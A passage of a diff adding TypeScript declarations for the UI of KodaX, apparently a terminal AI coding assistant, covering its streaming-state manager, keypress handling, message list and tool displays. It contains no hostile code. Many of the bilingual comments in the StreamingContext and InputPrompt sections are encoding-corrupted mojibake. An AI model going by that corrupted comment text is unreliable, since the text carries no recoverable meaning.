- * is friendly to the side-effect-free helper exports.
714
+ * Integrates all UI components and manages application state.
715
+ */
716
+
717
+ declare const App: React$1.FC<AppProps>;
718
+ /**
719
+ * Simplified App for testing only.
720
+ */
721
+ declare const SimpleApp: React$1.FC<{
722
+ model: string;
723
+ provider: string;
724
+ onInput: (input: string) => void;
725
+ }>;
726
+ interface AppHandle {
727
+ addMessage: (role: Message["role"], content: string) => void;
728
+ updateTokenUsage: (input: number, output: number) => void;
729
+ setTool: (tool: string | undefined) => void;
730
+ }
731
+
732
+ /**
733
+ * KodaX CLI Event Handler - CLI 事件处理器
734
+ *
735
+ * Spinner animation and event handling for CLI mode - 用于 CLI 模式的 Spinner 动画和事件处理
736
+ */
737
+
738
+ declare function createCliEvents(showSessionId?: boolean): KodaXEvents;
739
+
740
+ /**
741
+ * JSONL event handler for non-interactive CLI mode.
742
+ *
743
+ * stdout carries newline-delimited JSON events only.
744
+ * stderr carries structured error diagnostics.
745
+ */
746
+
747
+ type JsonWritable = Pick<NodeJS.WritableStream, 'write'>;
748
+ interface JsonEventOutputOptions {
749
+ stdout?: JsonWritable;
750
+ stderr?: JsonWritable;
751
+ }
752
+ declare function createJsonEvents(options?: JsonEventOutputOptions): KodaXEvents;
753
+
754
+ /**
755
+ * Generate unique ID - 生成唯一 ID
756
+ */
757
+ declare function generateId(): string;
758
+ /**
759
+ * Create history item with auto-generated ID and timestamp - 创建带自动生成 ID 和时间戳的历史项
760
+ */
761
+ declare function createHistoryItem(item: CreatableHistoryItem): HistoryItem;
762
+ /**
763
+ * Create tool call with auto-generated ID and start time - 创建带自动生成 ID 和开始时间的工具调用
764
+ */
765
+ declare function createToolCall(tool: Omit<ToolCall, "id" | "startTime">): ToolCall;
766
+ interface UIStateProviderProps {
767
+ children: ReactNode;
768
+ initialState?: Partial<UIState>;
769
+ }
770
+ declare function UIStateProvider({ children, initialState, }: UIStateProviderProps): React$1.ReactElement;
771
+ /**
772
+ * Get UI state - 获取 UI 状态
773
+ */
774
+ declare function useUIState(): UIState;
775
+ /**
776
+ * Get UI actions - 获取 UI 操作
777
+ */
778
+ declare function useUIActions(): UIActions;
779
+ /**
780
+ * Get complete UI state and actions - 获取完整 UI 状态和操作
781
+ */
782
+ declare function useUI(): {
783
+ state: UIState;
784
+ actions: UIActions;
785
+ };
786
+
787
+ /**
788
+ * KeypressContext
789
+ *
790
+ * Provides a priority-based keyboard manager backed by KodaX's local terminal
791
+ * runtime. This keeps keyboard input ownership below the shell layer instead of
792
+ * depending on Ink's `useInput`.
793
+ */
794
+
795
+ interface KeypressManager {
796
+ register: (priority: number, handler: KeypressHandler) => () => void;
797
+ dispatch: (event: KeyInfo) => boolean;
798
+ size: () => number;
799
+ }
800
+ declare function createKeypressManager(): KeypressManager;
801
+ interface KeypressProviderProps {
802
+ children: ReactNode;
803
+ enabled?: boolean;
804
+ }
805
+ declare function KeypressProvider({ children, enabled, }: KeypressProviderProps): React$1.ReactElement;
806
+ declare function useKeypressManager(): KeypressManager;
807
+ declare const KeyMatchers: {
808
+ readonly isEnter: (event: KeyInfo) => boolean;
809
+ readonly isEscape: (event: KeyInfo) => boolean;
810
+ readonly isCtrlC: (event: KeyInfo) => boolean;
811
+ readonly isCtrlD: (event: KeyInfo) => boolean;
812
+ readonly isUp: (event: KeyInfo) => boolean;
813
+ readonly isDown: (event: KeyInfo) => boolean;
814
+ readonly isLeft: (event: KeyInfo) => boolean;
815
+ readonly isRight: (event: KeyInfo) => boolean;
816
+ readonly isBackspace: (event: KeyInfo) => boolean;
817
+ readonly isDelete: (event: KeyInfo) => boolean;
818
+ readonly isTab: (event: KeyInfo) => boolean;
819
+ readonly isShiftEnter: (event: KeyInfo) => boolean;
820
+ readonly isCtrlEnter: (event: KeyInfo) => boolean;
821
+ readonly isInsertable: (event: KeyInfo) => boolean;
822
+ };
823
+
824
+ /**
825
+ * StreamingContext - Streaming Response Handling
826
+ *
827
+ * Reference implementation based on Gemini CLI's StreamingContext architecture - 鍙傝€?Gemini CLI 鐨?StreamingContext 鏋舵瀯瀹炵幇
828
+ * Manages streaming response state, cancellation operations, and error handling - 绠$悊娴佸紡鍝嶅簲鐘舵€併€佸彇娑堟搷浣滃拰閿欒澶勭悊
829
+ */
830
+
831
+ /**
832
+ * Iteration record - 杩唬璁板綍
833
+ * Stores a snapshot of one iteration's thinking and response - 瀛樺偍涓€杞凯浠g殑 thinking 鍜屽搷搴斿揩鐓?
834
+ */
835
+ interface IterationRecord {
836
+ /** Iteration number (1-based) - 杩唬搴忓彿锛堜粠1寮€濮嬶級 */
837
+ iteration: number;
838
+ /** Thinking content summary (truncated) - Thinking 鍐呭鎽樿锛堟埅鏂級 */
839
+ thinkingSummary: string;
840
+ /** Full thinking content length - 瀹屾暣 thinking 鍐呭闀垮害 */
841
+ thinkingLength: number;
842
+ /** Response content - 鍝嶅簲鍐呭 */
843
+ response: string;
844
+ /** Tools used in this iteration - 鏈疆浣跨敤鐨勫伐鍏?*/
845
+ toolsUsed: string[];
846
+ }
847
+ /**
848
+ * Streaming context value - 娴佸紡涓婁笅鏂囧€?
849
+ */
850
+ interface StreamingContextValue {
851
+ /** 褰撳墠娴佸紡鐘舵€?*/
852
+ state: StreamingState;
853
+ /** 褰撳墠姝e湪娴佸紡浼犺緭鐨勫搷搴?*/
854
+ currentResponse: string;
855
+ /** 閿欒淇℃伅 */
856
+ error?: string;
857
+ /** 鐢ㄤ簬鍙栨秷璇锋眰鐨?AbortController */
858
+ abortController?: AbortController;
859
+ /** 鏄惁姝e湪 thinking */
860
+ isThinking: boolean;
861
+ /** Thinking 瀛楃璁℃暟 */
862
+ thinkingCharCount: number;
863
+ /** Thinking 鍐呭 (鐢ㄤ簬UI鏄剧ず) */
864
+ thinkingContent: string;
865
+ /** 褰撳墠鎵ц鐨勫伐鍏峰悕绉?*/
866
+ currentTool?: string;
867
+ /** 宸ュ叿杈撳叆瀛楃璁℃暟 */
868
+ toolInputCharCount: number;
869
+ /** 宸ュ叿杈撳叆鍐呭 (鐢ㄤ簬UI鏄剧ず鍙傛暟鎽樿) */
870
+ toolInputContent: string;
871
+ /** Iteration history - 杩唬鍘嗗彶 */
872
+ iterationHistory: IterationRecord[];
873
+ /** Current iteration number (1-based) - 褰撳墠杩唬搴忓彿锛堜粠1寮€濮嬶級 */
874
+ currentIteration: number;
875
+ /** Maximum iterations allowed - 鏈€澶у厑璁歌凯浠f鏁?*/
876
+ maxIter: number;
877
+ /** 鏄惁姝e湪鍘嬬缉涓婁笅鏂?*/
878
+ isCompacting: boolean;
879
+ pendingInputs: string[];
880
+ /**
881
+ * v0.7.41 — wall-clock timestamp captured when the current streaming
882
+ * round started (set by `startStreaming()`, cleared to `null` by
883
+ * `stopStreaming()` / `abort()` / `reset()`). Powers the inline
884
+ * spinner-row "(Ns · ↓ T tokens)" stats tail (claudecode parity,
885
+ * `c:/Works/claudecode/src/screens/REPL.tsx:932-953`
886
+ * `loadingStartTimeRef`).
887
+ */
888
+ roundStartedAt: number | null;
889
+ }
890
+ /**
891
+ * FEATURE_149 Phase 4 (v0.7.38) — `abort()` options.
892
+ *
893
+ * The default (no options) preserves the v0.6.0+ contract: abort drops the
894
+ * queued follow-ups so Esc's "cancel everything" UX stays predictable. The
895
+ * fast-abort path in `handleSubmit` (when the in-flight tool is tagged
896
+ * `interruptBehavior: 'cancel'`) passes `{ preservePendingInputs: true }` so
897
+ * the freshly-submitted prompt sitting in the queue survives the abort and
898
+ * is picked up by the next `runQueuedPromptSequence` iteration.
899
+ */
900
+ interface AbortOptions {
901
+ readonly preservePendingInputs?: boolean;
902
+ }
903
+ /**
904
+ * Streaming actions interface - 娴佸紡鎿嶄綔鎺ュ彛
905
+ */
906
+ interface StreamingActions {
907
+ /** 寮€濮嬫祦寮忓搷搴?*/
908
+ startStreaming: () => void;
909
+ /** 鍋滄娴佸紡鍝嶅簲 */
910
+ stopStreaming: () => void;
911
+ /** 杩藉姞鍝嶅簲鏂囨湰 */
912
+ appendResponse: (text: string) => void;
913
+ /** 娓呯┖鍝嶅簲 */
914
+ clearResponse: () => void;
915
+ /** 璁剧疆閿欒 */
916
+ setError: (error: string | undefined) => void;
917
+ /** 鍙栨秷褰撳墠娴佸紡鍝嶅簲 */
918
+ abort: (options?: AbortOptions) => void;
919
+ /** 閲嶇疆鐘舵€?*/
920
+ reset: () => void;
921
+ /** 寮€濮?thinking */
922
+ startThinking: () => void;
923
+ /** 杩藉姞 thinking 瀛楃鏁?*/
924
+ appendThinkingChars: (count: number) => void;
925
+ /** 杩藉姞 thinking 鍐呭 */
926
+ appendThinkingContent: (text: string) => void;
927
+ /** 缁撴潫 thinking */
928
+ stopThinking: () => void;
929
+ /** 娓呯┖ thinking 鍐呭 (鍝嶅簲瀹屾垚鏃惰皟鐢? */
930
+ clearThinkingContent: () => void;
931
+ /** 璁剧疆褰撳墠宸ュ叿 */
932
+ setCurrentTool: (tool: string | undefined) => void;
933
+ /** 杩藉姞宸ュ叿杈撳叆瀛楃鏁?*/
934
+ appendToolInputChars: (count: number) => void;
935
+ /** 杩藉姞宸ュ叿杈撳叆鍐呭 */
936
+ appendToolInputContent: (text: string) => void;
937
+ /** 娓呯┖宸ュ叿杈撳叆鍐呭 */
938
+ clearToolInputContent: () => void;
939
+ /** 鑾峰彇褰撳墠鐨?AbortSignal (鐢ㄤ簬浼犻€掔粰 API 璇锋眰) */
940
+ getSignal: () => AbortSignal | undefined;
941
+ /** 鑾峰彇瀹屾暣鍝嶅簲鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級- 鐢ㄤ簬涓柇鏃朵繚瀛?*/
942
+ getFullResponse: () => string;
943
+ /** 鑾峰彇瀹屾暣 thinking 鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級- 鐢ㄤ簬鎸佷箙鍖栧巻鍙茶褰?*/
944
+ getThinkingContent: () => string;
945
+ /** Start a new iteration - saves current content to history and clears for next round - 寮€濮嬫柊杩唬锛屼繚瀛樺綋鍓嶅唴瀹瑰埌鍘嗗彶骞舵竻绌?*/
946
+ startNewIteration: (iteration: number) => void;
947
+ /** Clear iteration history - 娓呯┖杩唬鍘嗗彶 */
948
+ clearIterationHistory: () => void;
949
+ /** Set maximum iterations - 璁剧疆鏈€澶ц凯浠f鏁?*/
950
+ setMaxIter: (maxIter: number) => void;
951
+ /** 寮€濮嬪帇缂╀笂涓嬫枃 */
952
+ startCompacting: () => void;
953
+ /** 缁撴潫鍘嬬缉涓婁笅鏂?*/
954
+ stopCompacting: () => void;
955
+ addPendingInput: (input: string) => void;
956
+ removeLastPendingInput: () => void;
957
+ shiftPendingInput: () => string | undefined;
958
+ clearPendingInputs: () => void;
959
+ consumePendingInputs: () => string[];
960
+ }
961
+ /**
962
+ * State change listener - 鐘舵€佸彉鏇寸洃鍚櫒
963
+ */
964
+ type StreamingStateListener = (state: StreamingContextValue) => void;
965
+ /**
966
+ * Streaming manager interface - 娴佸紡绠$悊鍣ㄦ帴鍙?
967
+ */
968
+ interface StreamingManager {
969
+ /** 鑾峰彇褰撳墠鐘舵€?*/
970
+ getState: () => StreamingContextValue;
971
+ /** 璁剧疆娴佸紡鐘舵€?*/
972
+ setState: (state: StreamingState) => void;
973
+ /** 寮€濮嬫祦寮忓搷搴?*/
974
+ startStreaming: () => void;
975
+ /** 鍋滄娴佸紡鍝嶅簲 */
976
+ stopStreaming: () => void;
977
+ /** 杩藉姞鍝嶅簲鏂囨湰 */
978
+ appendResponse: (text: string) => void;
979
+ /** 娓呯┖鍝嶅簲 */
980
+ clearResponse: () => void;
981
+ /** 璁剧疆閿欒 */
982
+ setError: (error: string | undefined) => void;
983
+ /** 鍙栨秷褰撳墠娴佸紡鍝嶅簲 */
984
+ abort: (options?: AbortOptions) => void;
985
+ /** 閲嶇疆鐘舵€?*/
986
+ reset: () => void;
987
+ /** 鏄惁姝e湪娴佸紡浼犺緭 */
988
+ isStreaming: () => boolean;
989
+ /** 璁㈤槄鐘舵€佸彉鏇?*/
990
+ subscribe: (listener: StreamingStateListener) => () => void;
991
+ /** 寮€濮?thinking */
992
+ startThinking: () => void;
993
+ /** 杩藉姞 thinking 瀛楃鏁?*/
994
+ appendThinkingChars: (count: number) => void;
995
+ /** 杩藉姞 thinking 鍐呭 */
996
+ appendThinkingContent: (text: string) => void;
997
+ /** 缁撴潫 thinking */
998
+ stopThinking: () => void;
999
+ /** 娓呯┖ thinking 鍐呭 (鍝嶅簲瀹屾垚鏃惰皟鐢? */
1000
+ clearThinkingContent: () => void;
1001
+ /** 璁剧疆褰撳墠宸ュ叿 */
1002
+ setCurrentTool: (tool: string | undefined) => void;
1003
+ /** 杩藉姞宸ュ叿杈撳叆瀛楃鏁?*/
1004
+ appendToolInputChars: (count: number) => void;
1005
+ /** 杩藉姞宸ュ叿杈撳叆鍐呭 */
1006
+ appendToolInputContent: (text: string) => void;
1007
+ /** 娓呯┖宸ュ叿杈撳叆鍐呭 */
1008
+ clearToolInputContent: () => void;
1009
+ /** 鑾峰彇褰撳墠鐨?AbortSignal */
1010
+ getSignal: () => AbortSignal | undefined;
1011
+ /** 鑾峰彇瀹屾暣鍝嶅簲鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級 */
1012
+ getFullResponse: () => string;
1013
+ /** 鑾峰彇瀹屾暣 thinking 鍐呭锛堝寘鎷紦鍐插尯涓湭鍒锋柊鐨勫唴瀹癸級 */
1014
+ getThinkingContent: () => string;
1015
+ /** Start a new iteration - 寮€濮嬫柊杩唬 */
1016
+ startNewIteration: (iteration: number) => void;
1017
+ /** Clear iteration history - 娓呯┖杩唬鍘嗗彶 */
1018
+ clearIterationHistory: () => void;
1019
+ /** Set maximum iterations - 璁剧疆鏈€澶ц凯浠f鏁?*/
1020
+ setMaxIter: (maxIter: number) => void;
1021
+ /** Start compacting context - 寮€濮嬪帇缂╀笂涓嬫枃 */
1022
+ startCompacting: () => void;
1023
+ /** Stop compacting context - 缁撴潫鍘嬬缉涓婁笅鏂?*/
1024
+ stopCompacting: () => void;
1025
+ addPendingInput: (input: string) => void;
1026
+ removeLastPendingInput: () => void;
1027
+ shiftPendingInput: () => string | undefined;
1028
+ clearPendingInputs: () => void;
1029
+ consumePendingInputs: () => string[];
1030
+ /**
1031
+ * FEATURE_159 (v0.7.40) — release the queue subscription set up at
1032
+ * construction time. Production providers call this on unmount;
1033
+ * tests call it between cases to prevent stale listeners on the
1034
+ * process-global MessageQueue singleton.
1035
+ */
1036
+ dispose: () => void;
1037
+ }
1038
+ /**
1039
+ * Create streaming manager - 鍒涘缓娴佸紡绠$悊鍣?
1040
+ *
1041
+ * Issue 048 fix: Use batch updates to reduce render frequency - Issue 048 淇: 浣跨敤鎵归噺鏇存柊鍑忓皯娓叉煋棰戠巼
1042
+ * - Buffer streaming text and thinking content to 80ms cycle - 娴佸紡鏂囨湰鍜?thinking 鍐呭缂撳啿鍒?80ms 鍛ㄦ湡
1043
+ * - Sync with Spinner animation to avoid race conditions - 涓?Spinner 鍔ㄧ敾鍚屾锛岄伩鍏嶇珵鎬佹潯浠?
1044
+ */
1045
+ declare function createStreamingManager(): StreamingManager;
1046
+ interface StreamingProviderProps {
1047
+ children: ReactNode;
1048
+ onStateChange?: (state: StreamingContextValue) => void;
1049
+ }
1050
+ /**
1051
+ * StreamingProvider - Provides streaming response management - 鎻愪緵娴佸紡鍝嶅簲绠$悊
1052
+ */
1053
+ declare function StreamingProvider({ children, onStateChange, }: StreamingProviderProps): React$1.ReactElement;
1054
+ /**
1055
+ * Get streaming state - 鑾峰彇娴佸紡鐘舵€?
1056
+ */
1057
+ declare function useStreamingState(): StreamingContextValue;
1058
+ /**
1059
+ * Get streaming actions - 鑾峰彇娴佸紡鎿嶄綔
1060
+ */
1061
+ declare function useStreamingActions(): StreamingActions;
1062
+ /**
1063
+ * Get complete streaming state and actions - 鑾峰彇瀹屾暣娴佸紡鐘舵€佸拰鎿嶄綔
1064
+ */
1065
+ declare function useStreaming(): {
1066
+ state: StreamingContextValue;
1067
+ actions: StreamingActions;
1068
+ isStreaming: boolean;
1069
+ };
1070
+
1071
+ /**
1072
+ * TextInput - Multi-line text input component.
1073
+ *
1074
+ * Display text content and render cursor.
1075
+ */
1076
+
1077
+ interface TextInputProps {
1078
+ lines: string[];
1079
+ cursorRow: number;
1080
+ cursorCol: number;
1081
+ prompt?: string;
1082
+ placeholder?: string;
1083
+ focus?: boolean;
1084
+ terminalFocused?: boolean;
1085
+ isPasting?: boolean;
1086
+ editingMode?: PromptEditingMode;
1087
+ theme?: string;
1088
+ width?: number;
1089
+ }
1090
+ declare const TextInput: React$1.FC<TextInputProps>;
1091
+ /**
1092
+ * Single-line TextInput (simplified version).
1093
+ */
1094
+ declare const SingleLineTextInput: React$1.FC<{
1095
+ value: string;
1096
+ cursorCol: number;
1097
+ prompt?: string;
1098
+ placeholder?: string;
1099
+ focus?: boolean;
1100
+ theme?: string;
1101
+ }>;
1102
+
1103
+ /**
1104
+ * InputPrompt - Input prompt component - 鏉堟挸鍙嗛幓鎰仛缂佸嫪娆?
1105
+ *
1106
+ * Integrates multi-line input, history navigation, keyboard shortcuts
1107
+ * through a dedicated prompt input controller. - 闁俺绻冮悪顒傜彌閻ㄥ嫯绶崗銉﹀付閸掕泛娅掗梿鍡樺灇婢舵俺顢戞潏鎾冲弳閵嗕礁宸婚崣鎻掝嚤閼割亜鎷伴柨顔炬磸韫囶偅宓庨柨顔衡偓?
1108
+ */
1109
+
1110
+ /**
1111
+ * Extended props for InputPrompt with autocomplete support
1112
+ * InputPrompt 閻ㄥ嫭澧跨仦鏇炵潣閹嶇礉閺€顖涘瘮閼奉亜濮╃悰銉ュ弿
1113
+ */
1114
+ interface InputPromptAutocompleteProps extends InputPromptProps {
1115
+ /** Working directory for file completion - 閺傚洣娆㈢悰銉ュ弿閻ㄥ嫬浼愭担婊呮窗瑜?*/
1116
+ cwd?: string;
1117
+ /** Git root for skill discovery - 閹垛偓閼宠棄褰傞悳鎵畱 Git 閺嶅湱娲拌ぐ?*/
1118
+ gitRoot?: string;
1119
+ /** Whether autocomplete is enabled (default: true) - 閺勵垰鎯侀崥顖滄暏閼奉亜濮╃悰銉ュ弿閿涘牓绮拋銈忕窗true閿?*/
1120
+ autocompleteEnabled?: boolean;
1121
+ }
1122
+ declare const InputPrompt: React$1.FC<InputPromptAutocompleteProps>;
1123
+ /**
1124
+ * Simplified InputPrompt - single-line mode - 缁犫偓閸栨牜澧?InputPrompt - 閸楁洝顢戝Ο鈥崇础
1125
+ */
1126
+ declare const SimpleInputPrompt: React$1.FC<{
1127
+ onSubmit: (text: string) => void;
1128
+ placeholder?: string;
1129
+ prompt?: string;
1130
+ }>;
1131
+
1132
+ interface StatusBarSegment {
1133
+ id: string;
1134
+ text: string;
1135
+ color?: string;
1136
+ tone?: "primary" | "accent" | "success" | "warning" | "error" | "dim";
1137
+ bold?: boolean;
1138
+ }
1139
+ interface StatusBarViewModel {
1140
+ text: string;
1141
+ segments: StatusBarSegment[];
1142
+ }
1143
+
1144
+ /**
1145
+ * StatusBar - Bottom status bar component.
1146
+ */
1147
+
1148
+ interface StatusBarRendererProps extends StatusBarProps {
1149
+ viewModel?: StatusBarViewModel;
1150
+ }
1151
+
1152
+ declare const StatusBar: React$1.FC<StatusBarRendererProps>;
1153
+ declare const SimpleStatusBar: React$1.FC<{
1154
+ permissionMode: string;
1155
+ provider: string;
1156
+ model: string;
1157
+ }>;
1158
+
1159
+ interface ScrollBoxHandle {
1160
+ scrollTo: (y: number) => void;
1161
+ scrollBy: (dy: number) => void;
1162
+ scrollToElement: (y: number, offset?: number) => void;
1163
+ scrollToBottom: () => void;
1164
+ getScrollTop: () => number;
1165
+ getPendingDelta: () => number;
1166
+ getScrollHeight: () => number;
1167
+ getViewportHeight: () => number;
1168
+ getViewportTop: () => number;
1169
+ isSticky: () => boolean;
1170
+ subscribe: (listener: () => void) => () => void;
1171
+ setClampBounds: (min: number | undefined, max: number | undefined) => void;
1172
+ }
1173
+ interface ScrollBoxWindow {
1174
+ start: number;
1175
+ end: number;
1176
+ scrollTop: number;
1177
+ scrollHeight: number;
1178
+ viewportHeight: number;
1179
+ viewportTop: number;
1180
+ pendingDelta: number;
1181
+ sticky: boolean;
1182
+ }
1183
+
1184
+ type TranscriptColorToken = "primary" | "secondary" | "accent" | "text" | "dim" | "thinking" | "success" | "warning" | "error" | "info" | "hint";
1185
+ interface TranscriptRow {
1186
+ key: string;
1187
+ text: string;
1188
+ itemId?: string;
1189
+ color?: TranscriptColorToken;
1190
+ indent?: number;
1191
+ bold?: boolean;
1192
+ italic?: boolean;
1193
+ spinner?: boolean;
1194
+ }
1195
+ interface TranscriptSection {
1196
+ key: string;
1197
+ rows: TranscriptRow[];
1198
+ }
1199
+ interface TranscriptRenderModel {
1200
+ staticSections: TranscriptSection[];
1201
+ sections: TranscriptSection[];
1202
+ rows: TranscriptRow[];
1203
+ previewSections: TranscriptSection[];
1204
+ previewRows: TranscriptRow[];
1205
+ }
1206
+
1207
+ interface TranscriptRowSelectionRange {
1208
+ start: number;
1209
+ end: number;
1210
+ }
1211
+
1212
+ /**
1213
+ * MessageList
1214
+ *
1215
+ * Reference Gemini CLI's message display architecture implementation.
1216
+ * Support HistoryItem types: user, assistant, tool_group, thinking, error, event, info, and hint.
1217
+ */
1218
+
1219
+ interface MessageListProps {
1220
+ /** History item list */
1221
+ items: HistoryItem[];
1222
+ /** Whether loading */
1223
+ isLoading?: boolean;
1224
+ /** Maximum display lines before truncation */
1225
+ maxLines?: number;
1226
+ /** Whether thinking output is currently being shown. */
1227
+ isThinking?: boolean;
1228
+ /** Character count for the current thinking output. */
1229
+ thinkingCharCount?: number;
1230
+ /** Thinking content shown during streaming. */
1231
+ thinkingContent?: string;
1232
+ /** Current streaming response text shown in real time. */
1233
+ streamingResponse?: string;
1234
+ /** Name of the tool currently being executed. */
1235
+ currentTool?: string;
1236
+ /** Tool calls in the active response, including completed items from the current live batch. */
1237
+ activeToolCalls?: ToolCall[];
1238
+ /** Character count for the current tool input preview. */
1239
+ toolInputCharCount?: number;
1240
+ /** Tool input content preview for display */
1241
+ toolInputContent?: string;
1242
+ /** Completed iteration history for the active response. */
1243
+ iterationHistory?: IterationRecord[];
1244
+ /** Sequence number for the active iteration. */
1245
+ currentIteration?: number;
1246
+ /** Whether context compaction is in progress */
1247
+ isCompacting?: boolean;
1248
+ /** Managed-task agent mode shown in live transcript state */
1249
+ agentMode?: "sa" | "ama";
1250
+ /** Managed-task phase shown in live transcript state */
1251
+ managedPhase?: "starting" | "routing" | "preflight" | "round" | "worker" | "upgrade" | "verifying" | "completed";
1252
+ /** Managed-task harness profile shown in live transcript state */
1253
+ managedHarnessProfile?: string;
1254
+ /** Managed-task active worker title shown in live transcript state */
1255
+ managedWorkerTitle?: string;
1256
+ /** Managed-task current round */
1257
+ managedRound?: number;
1258
+ /** Managed-task maximum rounds */
1259
+ managedMaxRounds?: number;
1260
+ /** Managed-task global work budget */
1261
+ managedGlobalWorkBudget?: number;
1262
+ /** Managed-task current work usage */
1263
+ managedBudgetUsage?: number;
1264
+ /** Whether the run is waiting on budget approval */
1265
+ managedBudgetApprovalRequired?: boolean;
1266
+ /** Last known live activity label used when the stream is between deltas */
1267
+ lastLiveActivityLabel?: string;
1268
+ /** Visible viewport rows for transcript slicing */
1269
+ viewportRows?: number;
1270
+ /** Optional width override for deterministic transcript layout */
1271
+ viewportWidth?: number;
1272
+ /** Scroll offset from the bottom of the transcript, in rendered rows */
1273
+ scrollOffset?: number;
1274
+ /** Whether spinner glyphs should animate in rendered rows */
1275
+ animateSpinners?: boolean;
1276
+ /** Whether to render the transcript as a windowed viewport owned by the app */
1277
+ windowed?: boolean;
1278
+ /** Whether thinking content should render in verbose form */
1279
+ showFullThinking?: boolean;
1280
+ /** Whether tool details should render in verbose form */
1281
+ showDetailedTools?: boolean;
1282
+ /** Whether transcript-only "show all" should disable compact truncation */
1283
+ showAllContent?: boolean;
1284
+ /** Whether prompt/live progress helper rows should render inside the transcript */
1285
+ showLiveProgressRows?: boolean;
1286
+ /** Optional selected transcript item id for browse mode affordances */
1287
+ selectedItemId?: string;
1288
+ /** Optional expanded transcript item ids */
1289
+ expandedItemKeys?: ReadonlySet<string>;
1290
+ /** Optional transcript metrics callback for owned scroll controllers */
1291
+ onMetricsChange?: (metrics: {
1292
+ scrollHeight: number;
1293
+ viewportHeight: number;
1294
+ }) => void;
1295
+ /** Optional callback with the currently visible rows */
1296
+ onVisibleRowsChange?: (snapshot: {
1297
+ rows: TranscriptRow[];
1298
+ allRows: TranscriptRow[];
1299
+ }) => void;
1300
+ /** Optional renderer-owned transcript window */
1301
+ rendererWindow?: Pick<ScrollBoxWindow, "start" | "end" | "scrollHeight" | "viewportHeight" | "scrollTop" | "viewportTop" | "pendingDelta" | "sticky">;
1302
+ /** Optional text selection ranges for app-owned transcript selection */
1303
+ selectedTextRanges?: ReadonlyMap<string, TranscriptRowSelectionRange>;
1304
+ /** Optional prebuilt transcript render model for owned fullscreen paths */
1305
+ transcriptModel?: TranscriptRenderModel;
1306
+ /** Optional precomputed visible transcript rows */
1307
+ visibleRowsOverride?: TranscriptRow[];
1308
+ }
1309
+ interface HistoryItemRendererProps {
1310
+ item: HistoryItem;
1311
+ theme?: Theme;
1312
+ maxLines?: number;
1313
+ }
1314
+ /**
1315
+ * History item renderer
1316
+ * Dispatch to corresponding renderer based on type
1317
+ */
1318
+ declare const HistoryItemRenderer: React$1.FC<HistoryItemRendererProps>;
1319
+ declare const MessageList: React$1.FC<MessageListProps>;
1320
+
1321
+ /**
1322
+ * Simplified message display.
1323
+ */
1324
+ declare const SimpleMessageDisplay: React$1.FC<{
1325
+ role: "user" | "assistant" | "system";
1326
+ content: string;
1327
+ }>;
1328
+
1329
+ /**
1330
+ * ToolGroup - Tool execution display component - 工具执行显示组件
1331
+ *
1332
+ * Reference Gemini CLI's tool execution display architecture implementation - 参考 Gemini CLI 的工具执行显示架构实现。
1333
+ * Display tool call status, progress, and results - 显示工具调用状态、进度和结果。
1334
+ */
1335
+
1336
+ interface ToolGroupProps {
1337
+ /** List of tool calls - 工具调用列表 */
1338
+ tools: ToolCall[];
1339
+ /** Whether to collapse display - 是否折叠显示 */
1340
+ collapsed?: boolean;
1341
+ /** Custom title - 自定义标题 */
1342
+ title?: string;
1343
+ /** Theme - 主题 */
1344
+ theme?: Theme;
1345
+ }
1346
+ interface ToolCallDisplayProps {
1347
+ /** Tool call - 工具调用 */
1348
+ tool: ToolCall;
1349
+ /** Whether collapsed - 是否折叠 */
1350
+ collapsed?: boolean;
1351
+ /** Theme - 主题 */
1352
+ theme?: Theme;
1353
+ }
1354
+ interface ToolStatusBadgeProps {
1355
+ /** Status - 状态 */
1356
+ status: ToolCallStatus;
1357
+ /** Theme - 主题 */
1358
+ theme?: Theme;
1359
+ }
1360
+ interface ToolProgressBarProps {
1361
+ /** Progress (0-100) - 进度 (0-100) */
1362
+ progress: number;
1363
+ /** Bar width - 条宽度 */
1364
+ width?: number;
1365
+ /** Theme - 主题 */
1366
+ theme?: Theme;
1367
+ }
1368
+ /**
1369
+ * Tool status badge - 工具状态徽章
1370
+ */
1371
+ declare const ToolStatusBadge: React$1.FC<ToolStatusBadgeProps>;
1372
+ /**
1373
+ * Tool progress bar - 工具进度条
1374
+ */
1375
+ declare const ToolProgressBar: React$1.FC<ToolProgressBarProps>;
1376
+ /**
1377
+ * Tool call display component - 工具调用显示组件
1378
+ */
1379
+ declare const ToolCallDisplay: React$1.FC<ToolCallDisplayProps>;
1380
+ /**
1381
+ * Tool group display component - 工具组显示组件
1382
+ */
1383
+ declare const ToolGroup: React$1.FC<ToolGroupProps>;
1384
+
1385
+ /**
1386
+ * LoadingIndicator - Loading and thinking indicator component - 加载和思考指示器组件
1387
+ *
1388
+ * Reference Gemini CLI's loading display architecture implementation.
1389
+ * Provide multiple loading state visualization methods - 参考 Gemini CLI 的加载显示架构实现,提供多种加载状态可视化方式。
1390
+ */
1391
+
1392
+ type LoadingIndicatorType = "spinner" | "dots" | "bar" | "simple";
1393
+ interface LoadingIndicatorProps {
1394
+ /** Main message - 主消息 */
1395
+ message?: string;
1396
+ /** Sub message - 子消息 */
1397
+ subMessage?: string;
1398
+ /** Progress (0-100) - 进度 (0-100) */
1399
+ progress?: number;
1400
+ /** Type - 类型 */
1401
+ type?: LoadingIndicatorType;
1402
+ /** Compact mode - 紧凑模式 */
1403
+ compact?: boolean;
1404
+ /** Theme - 主题 */
1405
+ theme?: Theme;
1406
+ }
1407
+ interface ThinkingIndicatorProps {
1408
+ /** Custom message - 自定义消息 */
1409
+ message?: string;
1410
+ /** Show spinner - 显示旋转器 */
1411
+ showSpinner?: boolean;
1412
+ /** Theme - 主题 */
1413
+ theme?: Theme;
1414
+ }
1415
+ interface SpinnerProps {
1416
+ /** Color - 颜色 */
1417
+ color?: string;
1418
+ /** Theme - 主题 */
1419
+ theme?: Theme;
1420
+ }
1421
+ interface DotsIndicatorProps {
1422
+ /** Label - 标签 */
1423
+ label?: string;
1424
+ /** Dot count - 点数量 */
1425
+ dotCount?: number;
1426
+ /** Theme - 主题 */
1427
+ theme?: Theme;
1428
+ }
1429
+ interface ProgressIndicatorProps {
1430
+ /** Progress (0-100) - 进度 (0-100) */
1431
+ progress: number;
1432
+ /** Label - 标签 */
1433
+ label?: string;
1434
+ /** Bar width - 条宽度 */
1435
+ width?: number;
1436
+ /** Theme - 主题 */
1437
+ theme?: Theme;
1438
+ }
1439
+ /**
1440
+ * Spinner — braille-glyph rotation tied to the shared 80ms tick. Used
1441
